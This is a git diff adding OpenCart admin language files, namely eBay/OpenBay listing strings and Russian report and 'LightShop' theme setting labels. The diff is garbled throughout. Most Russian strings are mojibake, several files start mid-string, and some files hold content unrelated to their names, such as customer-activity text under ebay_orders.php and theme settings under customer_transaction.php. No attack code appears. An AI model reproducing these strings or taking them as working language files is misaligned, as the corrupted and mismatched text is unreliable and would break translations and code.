+$_['entry_vrm'] = 'Vehicle Registration Mark';
+$_['entry_vin'] = 'Vehicle Identification Number';
+
+// Tab
+$_['tab_feature'] = 'Features';
+$_['tab_ebay_catalog'] = 'eBay catalog';
+$_['tab_description'] = 'Description';
+$_['tab_price'] = 'Price & details';
+$_['tab_payment'] = 'Payment';
+$_['tab_returns'] = 'Returns';
+
+// Help
+$_['help_quantity_reserve'] = 'Enter a lower amount if you want to maintain a lower stock level on eBay';
+$_['help_price_ex_tax'] = 'Your standard item price excluding tax. This value is not sent to eBay.';
+$_['help_price_inc_tax'] = 'This value is sent to eBay and is the price users will pay.';
+$_['help_private'] = 'Hide buyer user names';
+$_['help_category_suggested'] = 'The list of categories eBay has suggested based of your item title';
+$_['help_category_popular'] = 'A list of your recently used categories';
+$_['help_shop_category'] = 'The category where the product will be added in your eBay shop';
+$_['help_shipping_promotion_discount'] = 'Offer national buyers a discount on shipping if they buy multiple items. Discounts must have been setup in eBay to take effect.';
+$_['help_shipping_promotion_discount_international'] = 'Offer international buyers a discount on shipping if they buy multiple items. Discounts must have been setup in eBay to take effect.';
+
+// Error
+$_['error_choose_category'] = 'You must choose a category';
+$_['error_search_text'] = 'Enter search text';
+$_['error_no_stock'] = 'You cannot list an item with zero stock';
+$_['error_catalog_data'] = 'No eBay catalog data was found for your product in eBay';
+$_['error_missing_settings'] = 'You cannot list items until you sync the eBay settings';
+$_['error_category_load'] = 'Unable to load categories';
+$_['error_features'] = 'Error loading features';
+$_['error_catalog_load'] = 'Error loading catalog';
+$_['error_category_sync'] = 'You must fix your category problem before you can list. Try re-syncing them in the module admin area.';
+$_['error_choose_category'] = 'Please choose an eBay category';
+$_['error_sku'] = 'Cannot submit a product without an SKU';
+$_['error_name'] = 'Cannot submit a product without a name';
+$_['error_name_length'] = 'Product name must be under 80 characters';
+$_['error_item_location'] = 'Enter an item location postcode';
+$_['error_dispatch_time'] = 'Enter a dispatch time';
+$_['error_shipping_national'] = 'Add at least one national shipping service';
+$_['error_stock'] = 'You must have stock of an item to list it';
+$_['error_duration'] = 'Select a listing duration';
+$_['error_listing_duration'] = 'Select a listing duration, select category to load these options';
+$_['error_image_size'] = 'Ensure that you have a gallery and thumb image size';
+$_['error_no_images'] = 'Listing must have at least 1 image uploaded to eBay';
+$_['error_main_image'] = 'You need to choose a main eBay image from your selection of eBay images';
+$_['error_ebay_imagesize'] = 'Image must be at least 500px on 1 side to use on eBay';
+$_['error_no_sku'] = 'No SKU found!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/openbay/ebay_newbulk.php b/public/admin/language/ru-ru/extension/openbay/ebay_newbulk.php
new file mode 100644
index 0000000..6b177bc
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/openbay/ebay_newbulk.php
@@ -0,0 +1,80 @@
+ items';
+$_['text_listed'] = 'Item listed! ID: ';
+$_['text_ajax_confirm_listing'] = 'Are you sure you want to bulk list these items?';
+$_['text_bulk_plan_error'] = 'Your current plan does not allow for bulk uploads, upgrade your plan here';
+$_['text_item_limit'] = 'You cannot list these items as you would exceed your plan limit, upgrade your plan here';
+$_['text_search_text'] = 'Enter some search text';
+$_['text_catalog_no_products'] = 'No catalog items found';
+$_['text_search_failed'] = 'Search failed';
+$_['text_esc_key'] = 'The splash page has been hidden but may not have finished loading';
+$_['text_loading_categories'] = 'Loading categories';
+$_['text_loading_condition'] = 'Loading product conditions';
+$_['text_loading_duration'] = 'Loading listing durations';
+$_['text_total_fee'] = 'Total fees';
+$_['text_category_choose'] = 'Find category';
+$_['text_suggested'] = 'Suggested categories';
+$_['text_product_identifiers'] = 'Product identifiers';
+$_['text_ean'] = 'EAN';
+$_['text_upc'] = 'UPC';
+$_['text_isbn'] = 'ISBN';
+$_['text_identifier_not_required'] = 'Not required';
+
+//Errors
+$_['text_error_ship_profile'] = 'You need to have a default shipping profile set up';
+$_['text_error_generic_profile'] = 'You need to have a default generic profile set up';
+$_['text_error_return_profile'] = 'You need to have a default return profile set up';
+$_['text_error_theme_profile'] = 'You need to have a default theme profile set up';
+$_['text_error_variants'] = 'Items with variations cannot be bulk listed and have been unselected';
+$_['text_error_stock'] = 'Some items are not in stock and have been removed';
+$_['text_error_no_product'] = 'There is no eligible products selected to use the bulk upload feature';
+$_['text_error_reverify'] = 'There was an error, you should edit and re-verify the items';
+$_['error_missing_settings'] = 'You cannot bulk list items until you syncronise your eBay settings';
+$_['text_error_no_selection'] = 'You must select at least 1 item to list';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/openbay/ebay_orders.php b/public/admin/language/ru-ru/extension/openbay/ebay_orders.php
new file mode 100644
index 0000000..01b2e3e
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/openbay/ebay_orders.php
@@ -0,0 +1,24 @@
+%s - добавлен новый адреÑ.';
+$_['text_address_edit'] = '%s - обновлены адреÑа.';
+$_['text_address_delete'] = '%s - удален один из адреÑов.';
+$_['text_edit'] = '%s - обновлена Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð°ÐºÐºÐ°ÑƒÐ½Ñ‚Ð°.';
+$_['text_forgotten'] = '%s - Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ паролÑ.';
+$_['text_login'] = '%s - выполнен вход.';
+$_['text_password'] = '%s - обновлен пароль.';
+$_['text_register'] = '%s - зарегиÑтрирован новый покупатель';
+$_['text_return_account'] = '%s - запрошен возврат товара.';
+$_['text_return_guest'] = '%s - запрошен возврат товара.';
+$_['text_order_account'] = '%s - Ñоздал новый заказ.';
+$_['text_order_guest'] = '%s - Ñоздал новый заказ.';
+$_['text_filter'] = 'Фильтр';
+
+// Column
+$_['column_customer'] = 'Покупатель';
+$_['column_comment'] = 'Комментарий';
+$_['column_ip'] = 'IP';
+$_['column_date_added'] = 'Дата добавлениÑ';
+
+// Entry
+$_['entry_customer'] = 'Покупатель';
+$_['entry_ip'] = 'IP';
+$_['entry_date_start'] = 'Дата начала';
+$_['entry_date_end'] = 'Дата окончаниÑ';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/report/customer_order.php b/public/admin/language/ru-ru/extension/report/customer_order.php
new file mode 100644
index 0000000..2861a5f
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/report/customer_order.php
@@ -0,0 +1,27 @@
+%s';
+$_['text_filter'] = 'Фильтр';
+
+// Column
+$_['column_keyword'] = 'ЗапроÑ';
+$_['column_products'] = 'Ðайденные товары';
+$_['column_category'] = 'КатегориÑ';
+$_['column_customer'] = 'Покупатель';
+$_['column_ip'] = 'IP';
+$_['column_date_added'] = 'Дата добовлениÑ';
+
+// Entry
+$_['entry_date_start'] = 'Дата начала';
+$_['entry_date_end'] = 'Дата окончаниÑ';
+$_['entry_keyword'] = 'ЗапроÑ';
+$_['entry_customer'] = 'Покупатель';
+$_['entry_ip'] = 'IP';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/report/customer_transaction.php b/public/admin/language/ru-ru/extension/report/customer_transaction.php
new file mode 100644
index 0000000..5cecfbf
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/report/customer_transaction.php
@@ -0,0 +1,30 @@
+lazyLoad';
+$_['text_theme_lightshop_js_footorhead'] = 'Вывод js Ñкриптов';
+$_['text_theme_lightshop_js_footorhead_tt'] = 'Вывод js Ñкриптов. Ð”Ð»Ñ ÑовмеÑтимоÑти Ñо Ñторонними дополнениÑми, рекомендуетÑÑ Ð¿Ð¾Ð»Ð¾Ð¶ÐµÐ½Ð¸Ðµ - Вверху Ñайта';
+$_['text_theme_lightshop_js_footorhead_1'] = 'Вверху Ñайта';
+$_['text_theme_lightshop_js_footorhead_2'] = 'Внизу Ñайта';
+$_['text_theme_lightshop_fontawesome'] = 'Иконки fontawesome';
+$_['text_theme_lightshop_fontawesome_tt'] = 'Включите, еÑли Ñтороннее дополенение иÑпользует иконки fontawesome';
+$_['text_theme_lightshop_bootstrap'] = 'bootstrap компоненты';
+$_['text_theme_lightshop_bootstrap_tt'] = 'Включите, еÑли Ñтороннее дополенение иÑпользует bootstrap компоненты: modals, tooltip, tabs, dropdown';
+$_['text_theme_lightshop_header_type'] = 'Тип шапки';
+$_['text_theme_lightshop_header_type_1'] = 'Только главное меню';
+$_['text_theme_lightshop_header_type_2'] = 'Верхнее и главное меню, Ñтиль 1';
+$_['text_theme_lightshop_header_type_3'] = 'Верхнее и главное меню, Ñтиль 2';
+$_['text_theme_lightshop_header_type3_logo'] = 'Положение логотипа';
+$_['text_theme_lightshop_header_type3_logo_0'] = 'По центру';
+$_['text_theme_lightshop_header_type3_logo_1'] = 'Слева';
+$_['text_theme_lightshop_header_type3_logo_2'] = 'Справа';
+$_['text_theme_lightshop_header_type3_menu'] = 'Пункты в главном меню';
+$_['text_theme_lightshop_fixed_header'] = 'ФикÑ. меню';
+$_['text_theme_lightshop_fixed_header_tt'] = 'ФикÑировать меню вверху Ñайта при Ñкролле';
+$_['text_theme_lightshop_header_text_logo'] = 'ТекÑтовый логотип или svg код';
+$_['text_theme_lightshop_header_logo'] = 'Логотип';
+$_['text_table_header_navs_0'] = 'Тип';
+$_['text_table_header_navs_1'] = 'Пункт меню';
+$_['text_table_header_navs_2'] = 'ПорÑдок Ñортировки';
+$_['text_table_header_navs_name'] = 'Ðазвание подменю';
+$_['text_table_header_navs_href'] = 'СÑылка(http://)';
+$_['text_table_header_navs_href_0'] = 'СÑылки';
+$_['text_theme_lightshop_max_subcat'] = 'Ограничение категорий';
+$_['text_theme_lightshop_max_subcat_tt'] = 'Ограничить категории 3го уровнÑ';
+$_['text_table_header_navs_1_tt'] = 'Ð”Ð»Ñ Ð³Ð»Ð°Ð²Ð½Ñ‹Ñ… родительÑких категорий необходимо включить параметр «Главное меню» в наÑтройках категории';
+$_['text_table_main_nav'] = 'Категории (по умолчанию вÑе)';
+$_['text_table_main_add'] = 'Дополнительный Ñлемент подменю';
+$_['text_table_main_add_0'] = 'Ð“Ð»Ð°Ð²Ð½Ð°Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ';
+$_['text_table_main_add_1'] = 'Правый Ñлемент подменю 1';
+$_['text_theme_lightshop_main_rec'] = 'Можно иÑпользовать html';
+$_['text_theme_lightshop_main_rec_0'] = 'html контент';
+$_['text_theme_lightshop_product_detail'] = 'БыÑтрый проÑмотр';
+$_['text_theme_lightshop_product_detail_1'] = 'Вкл. (при клике на название/изображение товара)';
+$_['text_theme_lightshop_product_detail_2'] = 'Вкл. (при клике на кнопку быÑтрого проÑмотра)';
+$_['text_theme_lightshop_cart_call'] = 'В корзину';
+$_['text_theme_lightshop_cart_call_tt'] = 'ДейÑтвие поÑле Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð° в корзину';
+$_['text_theme_lightshop_cart_call_0'] = 'Показывать подÑказку вверху Ñайта';
+$_['text_theme_lightshop_cart_call_1'] = 'Открывать корзину';
+$_['text_theme_lightshop_category_background'] = 'Фон в каталоге';
+$_['text_theme_lightshop_category_background_tt'] = 'Отображать фоновое изображение в каталоге товаров';
+$_['text_theme_lightshop_category_categories'] = 'Категории в каталоге';
+$_['text_theme_lightshop_category_categories_tt'] = 'Варианты Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð»Ð¸Ñ‚Ð¾Ðº категорий в каталоге';
+$_['text_theme_lightshop_category_categories_0'] = 'Ðе отображать';
+$_['text_theme_lightshop_category_categories_4'] = 'По 3 в Ñ€Ñд';
+$_['text_theme_lightshop_category_categories_3'] = 'По 4 в Ñ€Ñд';
+$_['text_theme_lightshop_category_categories_2'] = 'По 6 в Ñ€Ñд';
+$_['text_theme_lightshop_category_sorts'] = 'Сортировка';
+$_['text_theme_lightshop_category_sorts_tt'] = 'Отображать варианты Ñортировки товаров';
+$_['text_theme_lightshop_category_limits'] = 'Лимиты';
+$_['text_theme_lightshop_category_limits_tt'] = 'Отображать лимиты вывода товаров в каталог';
+$_['text_theme_lightshop_pÑ_view'] = 'Вид каталога (ПК)';
+$_['text_theme_lightshop_pÑ_view_tt'] = 'Вид каталога товаров по умолчанию в ПК верÑии Ñайта, данный параметр на витрине Ñайта ÑохранÑетÑÑ Ð² файлах cookies';
+$_['text_theme_lightshop_pÑ_view_3'] = 'Плитка по 3 товара в Ñ€Ñд';
+$_['text_theme_lightshop_pÑ_view_4'] = 'Плитка по 4 товара в Ñ€Ñд';
+$_['text_theme_lightshop_pÑ_view_5'] = 'Плитка по 5 товаров в Ñ€Ñд';
+$_['text_theme_lightshop_pÑ_view_list'] = 'ЛиÑÑ‚';
+$_['text_theme_lightshop_pÑ_view_table'] = 'Таблица';
+$_['text_theme_lightshop_mobile_view'] = 'Вид каталога (моб.)';
+$_['text_theme_lightshop_mobile_view_tt'] = 'Вид каталога товаров по умолчанию в мобильной верÑии Ñайта, данный параметр на витрине Ñайта ÑохранÑетÑÑ Ð² файлах cookies';
+$_['text_theme_lightshop_mobile_view_main'] = 'Плитка';
+$_['text_theme_lightshop_catalog_type_tt'] = 'Вариант Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð»Ð¸Ñ‚ÐºÐ¸ в каталоге товаров';
+$_['text_theme_lightshop_wishlist'] = 'Избранные без региÑтрации';
+$_['text_theme_lightshop_subcategory'] = 'Вывод в категории товаров из подкатегорий';
+$_['text_theme_lightshop_product_short_descr'] = 'Краткое опиÑание';
+$_['text_theme_lightshop_product_short_tag'] = 'Разделитель краткого опиÑаниÑ';
+$_['text_theme_lightshop_product_opt_select'] = 'Опции';
+$_['text_theme_lightshop_product_opt_select_0'] = 'в 2 Ñтолбца (по умолчанию)';
+$_['text_theme_lightshop_product_opt_select_'] = 'в 1 Ñтолбец';
+$_['text_theme_lightshop_product_att_select'] = 'Ðтрибуты';
+$_['text_theme_lightshop_product_zoom'] = 'Увеличение изображениÑ';
+$_['text_theme_lightshop_product_zoom_0'] = 'Fancy box (по умолчанию)';
+$_['text_theme_lightshop_product_zoom_1'] = 'Cloud zoom';
+$_['text_theme_lightshop_product_cod'] = 'Код товара';
+$_['text_theme_lightshop_product_cod_0'] = 'model (по умолчанию)';
+$_['text_theme_lightshop_p_related_view'] = 'Рекомендуемые товары';
+$_['text_theme_lightshop_p_related_view_0'] = 'Слайдер (по умолчанию)';
+$_['text_theme_lightshop_p_related_view_3'] = 'Сетка по 3 товара в Ñтроке';
+$_['text_theme_lightshop_p_related_view_4'] = 'Сетка по 4 товара в Ñтроке';
+$_['text_theme_lightshop_p_related_view_5'] = 'Сетка по 5 товаров в Ñтроке';
+$_['text_theme_lightshop_product_review'] = 'ИндекÑируемые отзывы';
+$_['text_theme_lightshop_tag'] = 'тег';
+$_['text_theme_lightshop_metatag'] = 'Метатег';
+$_['text_theme_lightshop_contact_map'] = 'ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÐµÐ¼Ð°Ñ ÐºÐ°Ñ€Ñ‚Ð°';
+$_['text_theme_lightshop_contact_map_0'] = 'Без карты';
+$_['text_theme_lightshop_contact_map_1'] = 'Google карты';
+$_['text_theme_lightshop_contact_map_2'] = 'Ð¯Ð½Ð´ÐµÐºÑ ÐºÐ°Ñ€Ñ‚Ñ‹';
+$_['text_theme_lightshop_contact_zoom'] = 'МаÑштаб карты';
+$_['text_theme_lightshop_contact_zoom_control'] = 'Кнопки увеличениÑ';
+$_['text_theme_lightshop_contact_api_key'] = 'API ключ';
+$_['text_theme_lightshop_contact_api_key_i'] = 'Ð”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡Ð° API Google Maps перейдите по ÑÑылке https://developers.google.com/maps/documentation/geocoding/get-api-key?hl=ru';
+$_['text_theme_lightshop_checkout_st4_title'] = 'Заголовки';
+$_['text_theme_lightshop_checkout_st4_col'] = 'Вид отображениÑ';
+$_['text_theme_lightshop_checkout_st4_col_0'] = 'В 1 колонку';
+$_['text_theme_lightshop_checkout_st4_col_1'] = 'В 2 колонки';
+$_['text_theme_lightshop_checkout_st3_sa'] = 'ÐÐ´Ñ€ÐµÑ Ð´Ð¾Ñтавки';
+$_['text_theme_lightshop_checkout_shipping'] = 'ВидимоÑть доÑтавки';
+$_['text_theme_lightshop_checkout_shipping_0'] = 'Скрыть (По умолчанию)';
+$_['text_theme_lightshop_checkout_shipping_1'] = 'Показывать';
+$_['text_theme_lightshop_che_legend'] = 'Поле';
+$_['text_theme_lightshop_che_name'] = 'Ðазвание';
+$_['text_theme_lightshop_che_customer_group'] = 'Группа покупателей';
+$_['text_theme_lightshop_che_required'] = 'ОбÑзательно';
+$_['text_theme_lightshop_che_i'] = 'Ð”Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð³Ð¾ Ð¿Ð¾Ð»Ñ Ð¾Ñ‚ÐºÑ€Ð¾Ð¹Ñ‚Ðµ раздел Покупатели > Произвольные полÑ';
+$_['text_theme_lightshop_che_st2_firstname'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - ИмÑ';
+$_['text_theme_lightshop_che_st2_lastname'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - ФамилиÑ';
+$_['text_theme_lightshop_che_st2_email'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - E-mail';
+$_['text_theme_lightshop_che_st2_telephone'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - Телефон';
+$_['text_theme_lightshop_che_st2_fax'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - ФакÑ';
+$_['text_theme_lightshop_che_st2_company'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - КомпаниÑ';
+$_['text_theme_lightshop_che_st2_address_1'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - ÐдреÑ';
+$_['text_theme_lightshop_che_st2_address_2'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - ÐÐ´Ñ€ÐµÑ (дополнительно)';
+$_['text_theme_lightshop_che_st2_city'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - Город';
+$_['text_theme_lightshop_che_st2_postcode'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - ИндекÑ';
+$_['text_theme_lightshop_che_st2_country_id'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - Страна';
+$_['text_theme_lightshop_che_st2_zone_id'] = 'ЕÑли значение не задано, иÑпользуетÑÑ Ð¿Ð¾ умолчанию - Регион / ОблаÑть';
+$_['text_theme_lightshop_blog_legend'] = 'ÐžÐ±Ñ‰Ð°Ñ Ñтраница блога';
+$_['text_theme_lightshop_blog_legend_0'] = 'ЗапиÑÑŒ блога';
+$_['text_theme_lightshop_blog_path'] = 'URL блога Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸ÐµÐ¹';
+$_['text_theme_lightshop_blog_background'] = 'Фон в запиÑи';
+$_['text_theme_lightshop_blog_rev_st'] = 'Разрешить отзывы';
+$_['text_theme_lightshop_blog_rev_guest'] = 'Отзывы от гоÑтей';
+$_['text_theme_lightshop_blog_rev_moder'] = 'Отзывы без модерации';
+$_['text_theme_lightshop_captcha'] = 'Captcha';
+$_['text_theme_lightshop_logo_404'] = 'Изображение';
+$_['text_theme_lightshop_footer_type'] = 'Тип футера';
+$_['text_theme_lightshop_footer_soc_stat'] = 'Соц. Ñети';
+$_['text_theme_lightshop_footer_text_logo'] = 'ТекÑтовый логотип или svg код';
+$_['text_theme_lightshop_footer_logo'] = 'Логотип внизу Ñайта';
+$_['text_theme_lightshop_footer_text'] = 'Тектовый блок';
+$_['text_theme_lightshop_footer_copyright'] = 'Копирайт';
+$_['text_theme_lightshop_subscribe_email_alert'] = 'Оповещение e-mail админиÑтратору';
+$_['text_theme_lightshop_subscribe_title'] = 'Заголовок';
+$_['text_theme_lightshop_subscribe_subtitle'] = 'Подзаголовок';
+$_['text_theme_lightshop_vidg_extlinks_i'] = 'Дополнительные ÑÑылки могут быть добавлены: Верх Ñайта > Верхнее мега-меню, Верх Ñайта > Главное мега-меню, Ðиз Ñайта > Ðижнее мега-меню.';
+$_['text_theme_lightshop_social_nav'] = 'Соц. Ñеть';
+$_['text_theme_lightshop_soc_share_prod'] = 'Показывать на Ñтраницах товаров';
+$_['text_theme_lightshop_soc_share_blog'] = 'Показывать на Ñтраницах блога';
+$_['text_theme_lightshop_soc_share_code'] = 'Код share кнопок';
+$_['text_theme_lightshop_soc_share_code_0'] = 'Код share кнопок';
+$_['text_theme_lightshop_label_legend'] = 'СТИКЕРÐОВИÐКÐ';
+$_['text_theme_lightshop_label_legend_0'] = 'СТИКЕРСКИДКÐ';
+$_['text_theme_lightshop_label_legend_1'] = 'СТИКЕРХИТ ПРОДÐЖ';
+$_['text_theme_lightshop_label_legend_2'] = 'СТИКЕРПОПУЛЯРÐЫЙ ТОВÐÐ ';
+$_['text_theme_lightshop_label_legend_3'] = 'СТИКЕРУСПЕЙ КУПИТЬ';
+$_['text_theme_lightshop_label_new_periods'] = 'Ðктивен';
+$_['text_theme_lightshop_label_legend_0_i'] = 'ОтображаетÑÑ Ñƒ товаров где добавлена цена по акции (еÑть Ð¿ÐµÑ€ÐµÑ‡ÐµÑ€ÐºÐ½ÑƒÑ‚Ð°Ñ Ñ†ÐµÐ½Ð°).';
+$_['text_theme_lightshop_label_sale_extra'] = 'Дополнительный Ñлемент';
+$_['text_theme_lightshop_label_legend_1_i'] = 'Продаж';
+$_['text_theme_lightshop_label_hit_period'] = 'За период';
+$_['text_theme_lightshop_label_hit_qty'] = 'Продаж';
+$_['text_theme_lightshop_label_legend_2_i'] = 'ПроÑмотров';
+$_['text_theme_lightshop_label_catch_qty'] = 'КоличеÑтво';
+$_['text_theme_lightshop_label_catch'] = 'Дополнительное название';
+$_['text_theme_lightshop_order_status_id'] = 'Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð·Ð°ÐºÐ°Ð·Ð°';
+$_['text_theme_lightshop_label_popular_views'] = 'ПроÑмотров';
+$_['text_theme_lightshop_buy_click_i'] = 'ÐаÑтройки Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¾Ð½Ð°Ð»Ð° "Купить в один клик" (в карточке товара, каталоге и быÑтром проÑмотре) и "БыÑтрый заказ" (в Ñтандартной и вÑплывающей корзине)';
+$_['text_theme_lightshop_scrolltt_pos'] = 'ПозициÑ';
+$_['text_theme_lightshop_pdata_i'] = 'Перед выбором текÑÑ‚ нужно добавить в раздел';
+$_['text_theme_lightshop_pdata_i_0'] = 'Каталог > Статьи';
+$_['text_theme_lightshop_callback_pdata'] = 'Заказ звонка';
+$_['text_theme_lightshop_subscribe_pdata'] = 'Форма подпиÑки';
+$_['text_theme_lightshop_buy_click_pdata'] = 'БыÑтрый заказ';
+$_['text_theme_lightshop_contact_pdata'] = 'Контакты';
+$_['text_theme_lightshop_voucher_pdata'] = 'Сертификат';
+$_['text_theme_lightshop_review_pdata'] = 'Отзывы о товарах';
+$_['text_theme_lightshop_blog_pdata'] = 'Статьи блога';
+$_['text_theme_lightshop_cookies_pdata'] = 'Файлы cookies';
+$_['text_theme_lightshop_ecommerce'] = 'ÐÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð°Ñ ÐºÐ¾Ð¼Ð¼ÐµÑ€Ñ†Ð¸Ñ';
+$_['text_theme_lightshop_analytics_i'] = 'Код Ñчетчиков можно добавить в ';
+$_['text_theme_lightshop_analytics_i_0'] = 'ÑоответÑтвующем разделе панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ ';
+$_['text_theme_lightshop_analytics_ya_status'] = 'ÐšÐ¾Ð¼Ð¼ÐµÑ€Ñ†Ð¸Ñ Ð¯Ð½Ð´ÐµÐºÑ';
+$_['text_theme_lightshop_analytics_goole_status'] = 'ÐšÐ¾Ð¼Ð¼ÐµÑ€Ñ†Ð¸Ñ Google';
+$_['text_theme_lightshop_ecommerce_event'] = 'Общие метки Ñобытий';
+$_['text_theme_lightshop_ecommerce_event_i'] = 'ÐаÑтройка целей Ð´Ð»Ñ Ð¯Ð½Ð´ÐµÐºÑ.Метрики опиÑана в разделе, иÑпользуетÑÑ Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ‚Ð¾Ñ€ JavaScript-ÑÐ¾Ð±Ñ‹Ñ‚Ð¸Ñ Ð¸Ð· ÑпиÑка ниже. ÐаÑтройка целей Ð´Ð»Ñ Google Ðналитики опиÑана в разделе, иÑпользуетÑÑ Â«Ð’Ð°Ñ€Ð¸Ð°Ð½Ñ‚ 2. СобÑтвенные цели» > Тип: Событие > ДейÑтвие > Равно > Значение из ÑпиÑка ниже.';
+$_['text_lightshop_callback'] = 'Обратный звонок, форма';
+$_['text_lightshop_addtocart_catalog'] = 'Товар добавлен в корзину, ÑпиÑок';
+$_['text_lightshop_addtocart_product'] = 'Товар добавлен в корзину, Ñтраница';
+$_['text_lightshop_buyclick'] = 'Купить в 1 клик, форма';
+$_['text_lightshop_buyclick_success'] = 'Купить в 1 клик, success';
+$_['text_lightshop_checkout_success'] = 'Стандартный заказ, success';
+$_['text_lightshop_settocart'] = 'Ðабор добавлен в корзину';
+$_['text_lightshop_subscribe'] = 'ПодпиÑалÑÑ Ð½Ð° новоÑти, форма';
+$_['text_lightshop_contact'] = 'Форма обратной ÑвÑзи';
+$_['text_theme_lightshop_messenger_td'] = 'МеÑÑенджер';
+$_['text_theme_lightshop_messenger_td_0'] = 'Идентификатор';
+$_['text_version'] = 'ВерÑиÑ';
+$_['text_new_version'] = 'ДоÑтупна Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ€ÑиÑ';
+$_['text_support'] = 'ТехничеÑÐºÐ°Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ°';
+$_['text_support_0'] = 'Ð”Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð»ÐµÐ½Ð¸Ñ Ñ‚ÐµÑ…Ð½Ð¸Ñ‡ÐµÑкой поддержки напишите пожалуйÑта нам на почту';
+$_['text_support_1'] = 'Отправить Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð² Ñлужбу поддержки:';
+$_['text_899themes'] = 'Разработчик';
+$_['text_license_0'] = 'Лицензионное Ñоглашение';
+$_['text_theme_lightshop_news_limit'] = 'Сколько новоÑтей показывать на одной Ñтранице';
+$_['text_theme_lightshop_blog_limit'] = 'Сколько запиÑей блога показывать на одной Ñтранице';
+$_['text_theme_lightshop_title'] = 'Заголовок';
+$_['text_theme_lightshop_subtitle'] = 'Подзаголовок';
+$_['text_theme_lightshop_qty'] = 'КоличеÑтво';
+$_['text_theme_lightshop_category_products'] = 'Товары Ñ Ð½ÑƒÐ»ÐµÐ²Ñ‹Ð¼ оÑтатком';
+$_['text_theme_lightshop_category_products_0'] = 'По умолчанию';
+$_['text_theme_lightshop_category_products_1'] = 'Выводить в конце каталога';
+
+// Entry
+$_['entry_directory'] = 'Папка шаблона';
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_product_limit'] = 'Ðа Ñтранице';
+$_['entry_product_description_length'] = 'Краткое опиÑание';
+$_['entry_image_category'] = 'Категории (Ш x В)';
+$_['entry_image_thumb'] = 'Миниатюры (Ш x В)';
+$_['entry_image_popup'] = 'Ð’Ñплывающие (Ш x Ð’)';
+$_['entry_image_product'] = 'Товара (Ш x В)';
+$_['entry_image_additional'] = 'Дополнительные (Ш x В)';
+$_['entry_image_related'] = 'Рекомендуемые (Ш x В)';
+$_['entry_image_compare'] = 'Ð’ Ñравнении (Ш x Ð’)';
+$_['entry_image_wishlist'] = 'Закладки (Ш x В)';
+$_['entry_image_cart'] = 'В корзине (Ш x В)';
+$_['entry_image_location'] = 'Изображение магазина (Ш x В)';
+$_['entry_width'] = 'Ширина';
+$_['entry_height'] = 'Ð’Ñ‹Ñота';
+
+// Help
+$_['help_directory'] = 'Ðто поле только Ð´Ð»Ñ Ð²Ñ‹Ð±Ð¾Ñ€Ð° Ñтарых шаблонов, что бы Ñделать их ÑовмеÑтимыми Ñ Ð½Ð¾Ð²Ñ‹Ð¼ движком Opencart.';
+$_['help_product_limit'] = 'Сколько Ñлементов показывать на одной Ñтранице (товары, категории, и Ñ‚.п.)';
+$_['help_product_description_length'] = 'Сколько знаков показывать из опиÑÐ°Ð½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð° в режиме ÑпиÑок.';
+$_['help_product_tabs_main'] = 'Вкладка выводитÑÑ Ð² карточке товара поÑле отзывов, вÑплывающее окно перед опциÑми в карточке товара и в быÑтром проÑмотре.';
+$_['help_product_tabs_select'] = 'ЕÑли товары не выбраны то вкладка показываетÑÑ Ð²Ð¾ вÑех товарах.';
+$_['help_product_tabs_cat_select'] = 'ЕÑли категории не выбраны то вкладка показываетÑÑ Ð²Ð¾ вÑех товарах.';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½Ðµ доÑтаточно прав!';
